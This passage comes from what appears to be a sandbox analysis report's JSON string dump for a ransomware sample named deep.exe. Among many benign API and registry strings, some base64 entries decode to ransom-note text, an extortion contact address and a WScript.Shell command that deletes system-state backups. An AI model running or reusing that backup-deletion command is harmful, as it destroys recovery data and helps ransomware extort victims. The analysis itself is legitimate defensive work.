Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"az54OnJKLXRtYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a0BgdE4mIGd6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"S0UwKXYoKyhw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"S2VlcEFsaXZlVGltZW91dA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S0VSQkVST1M6","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"S0VSTkVMMzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"a2VybmVsMzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a0YkIj9bOjVU","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"S2okUmkzWH17","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a1BoPm5iIHw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a3x+ai1zZy9f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TCwgJWQsICAgJWQsIC0sIEVPQUNfTk9ORSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TDRRdzZsdzQw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bDwzZlNbRys=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TGFuZ3VhZ2UgSG90a2V5","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGFubWFuV29ya3N0YXRpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGFzc09iamVjdDo6R2V0KEwiX19QQVRIIiwgMCwgLSwwLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bGFzc09iamVjdDo6UHV0KEwiJXMiLCAwLCAtLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TGF5b3V0IEhvdGtleQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bENDdzs+SS1+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TGRhcENsaWVudEludGVncml0eQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGVhc2hMZWdhY3lDb29raWVz","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGVhdmVDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWxDb3B5cmlnaHQ=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TEV+dW1NZEU9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bGZDaGFyU2V0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZDbGlwUHJlY2lzaW9u","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZFc2NhcGVtZW50","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZGYWNlTmFtZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZLXWcpSy1iQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bGZPcmllbnRhdGlvbg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZPdXRQcmVjaXNpb24=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZQaXRjaEFuZEZhbWlseQ==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZRdWFsaXR5","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZTdHJpa2VPdXQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZVbmRlcmxpbmU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZXZWlnaHQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGlicmFyeVBhdGg=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGluZTogJTZkIEZpbGU6ICVz","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TElORT4lczwvQ09NTUFORExJTkU+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TE1lV0NGeVVYaFlCTFI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEFwcEluaXRfRExMcw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlX","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZFN0cmluZ1c=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZFdpdGhvdXRDT00=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWwgQXBwRGF0YQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxBbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxCaXRjb2lucw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxGcmVl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TE9DQUxIT1NU","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxpemVkTmFtZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxSZWRpcmVjdE9ubHk=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9nIEZpbGUgTWF4IFNpemU=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TG9nZ2luZyBEaXJlY3Rvcnk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bHErNFt7JDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TShhYjw6QmJo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bTV0enQ3fSpf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bTxRR2RBa0kt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bUBmIH1pIks3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bV5sY05LbXl0TSxO","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bV51cFo4TX0j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bV9fX19xSl8sLA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZUd1aWQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZVByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZVRocm90dGxpbmc=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bWFwL3NldDxUPiB0b28gbG9uZw==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TWFwOjpnZXROYW1lZEl0ZW0oTCJLRVlXT1JEIiwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TWFwTmV0RHJpdmVWZXJicw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFwTmV0RHJ2QnRu","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFwcGluZ3MueG1s","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TWFydGFFeHRlbnNpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4Q29ubmVjdGlvbnNQZXIxXzBTZXJ2ZXI=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4Q29ubmVjdGlvbnNQZXJQcm94eQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4Q29ubmVjdGlvbnNQZXJTZXJ2ZXI=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4SHR0cFJlZGlyZWN0cw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4aW1pemVBcHBz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4aW11bUFsbG93ZWRBbGxvY2F0aW9uU2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4UnBjU2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4U3hTSGFzaENvdW50","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWInUXtBYnQ9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TUJDU0FQSWZvckNyYWNr","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TUJDU1NlcnZlcm5hbWU=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TURvY3VtZW50Mjo6c2F2ZShMIiVzIik=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bWVtbW92ZV9z","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bWV0YV9jbGFzcw==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bWd6PVJsI3g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bUh0fWomYnNoQi5D","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bWljbGl4bWxsb2cuY3Bw","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0IENvcnAuIDE5OTQtMjAwNw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0IENvcnBvcmF0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWltZUV4Y2x1c2lvbkxpc3RGb3JDYWNoZQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWlzY0ZsYWdz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TUxET01FbGVtZW50OjpnZXRFbGVtZW50c0J5VGFnTmFtZShMIkNPTU1BTkRMSU5FIiwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TUxET01Ob2RlOjpjbG9uZU5vZGUoVkFSSUFOVF9UUlVFLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bU14RSYkOHpsYTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TU5vZGU6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TU5vZGU6OmdldF90ZXh0KC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TW9kaWZ5UHJpdmlsZWdlcygtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TU9GIENvbXBpbGF0aW9uIEVycm9yICh0aGUgZXJyb3JsZXZlbCBpcyB1dGlsaXR5IHNwZWNpZmljKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TW92ZSBTeXN0ZW0gQ2FyZXQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bXBpbGVyXzQzLmRsbA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TVFNQUFBQUFBQURKZzZDUUp6MVhCRk9LbnJpN3hnUHBCMTdoZkREZ3ZscTN1SkN0cE9yN0k3QXZramVZM2VNPVFIWEJKZkliZ0s5S0xEbWwyUzRVUzlGSUY2VlI1STNvUDIzdWRvZ1BtPUNUeWtIT1R6NVJuaE5OZjJ3SjBZdzVDSg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bXJkZWVwQHByb3Rvbm1haWwuY29t","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"TVM7VCtLdV41","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TVNGVF9DbGlBbGlhcy5GcmllbmRseU5hbWU9Jw==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TVNGVF9DbGlUcmFuc2xhdGVUYWJsZS5OYW1lPSc=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TVNGVF9Mb2NhbGl6YWJsZVByb3BlcnR5VmFsdWUuT2JqZWN0TG9jYXRvcj0iIixQcm9wZXJ0eU5hbWU9","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bXNodGEuZXhl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TVNWQ1I5MC5kbGw=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bXN2Y3J0LmRsbA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TXVsdGlCeXRlVG9XaWRlQ2hhcg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bVlkTzAmWUlP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bi09PixteDc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Tl1cfCwjJXBR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TkFNRVNQQUNF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TmFtZXNwYWNl","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TmFtZVNwYWNlX0NhbGxvdXQ=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TkNQbD17OSU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TmRyT2xlRXh0RExM","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmV2ZXJEZWZhdWx0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmV2ZXJTaG93RXh0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmV3IGNvbm5lY3Rpb25zIHdpbGwgYmUgcmVtZW1iZXJlZC4=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bkV4T3QmNFxPMGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TmV4dF9DYXRhbG9nX0VudHJ5X0lE","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bkluc3RhbmNlKDAsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TklURSwgMSwtLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TmthU1VKY0RN","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Tm9DaGVja0F1dG9kaWFsT3ZlclJpZGU=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm9GaWxlRm9sZGVySnVuY3Rpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tk9JTlRFUkFDVElWRQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Tm9tdUxbWDA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Tm9OZXRBdXRvZGlhbA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm9OZXRDcmF3bGluZw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm9TdGF0aWNEZWZhdWx0VmVyYg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm90IEF2YWlsYWJsZQ==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Tm90IGF2YWlsYWJsZQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Tm90IEZvdW5k","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Tm90IEltcGxlbWVudGVk","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bm90ZXBhZC5leGUgIiVVU0VSUFJPRklMRSVcSE9XIFRPIFJFQ09WRVIgRU5DUllQVEVEIEZJTEVTLlRYVCI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm93IHlvdSBzaG91bGQgc2VuZCB1cyBlbWFpbCB3aXRoIHlvdXIgcGVyc29uYWwgaWRlbnRpZmllci4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Tm9Xb3JraW5nRGlyZWN0b3J5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bnNldzZwRzA+Xw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TlRMTURPTUFJTjo=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TnVtX0NhdGFsb2dfRW50cmllcw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TyB0flBFN3py","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bz1uZXcgQWN0aXZlWE9iamVjdCgiV1NjcmlwdC5TaGVsbCIpO28uUnVuKCJjbWQuZXhlIC9jIHdiYWRtaW4gREVMRVRFIFNZU1RFTVNUQVRFQkFDS1VQIC1rZWVwVmVyc2lvbnM6MCIsMCk7by5SdW4oImNtZC5leGUgL2Mgd21pYw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T0JKRUNUQVJSQVk+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T2JqZWN0TGltaXQ=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"b2N1bWVudDI6OmxvYWRYTUwoLSwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"b2N1bWVudDI6OnB1dF9hc3luYyhWQVJJQU5UX0ZBTFNFKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"b0RgcFZeYXlT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b2RlOjpwdXRfdGV4dChMIiVzIik=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T2ZkMVsrV0YvdFk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T0tYZVtOXH10NCY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b2xlMzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"b2xlYXV0MzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T0xFQVVUMzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T0xMWURCRw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"b21tYW5kbGluZSBVdGlsaXR5","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T04+IlVua25vd24gV0JFTSBFcnJvciI8L0RFU0NSSVBUSU9OPg==","type":"Unicode","source":"Memory/File 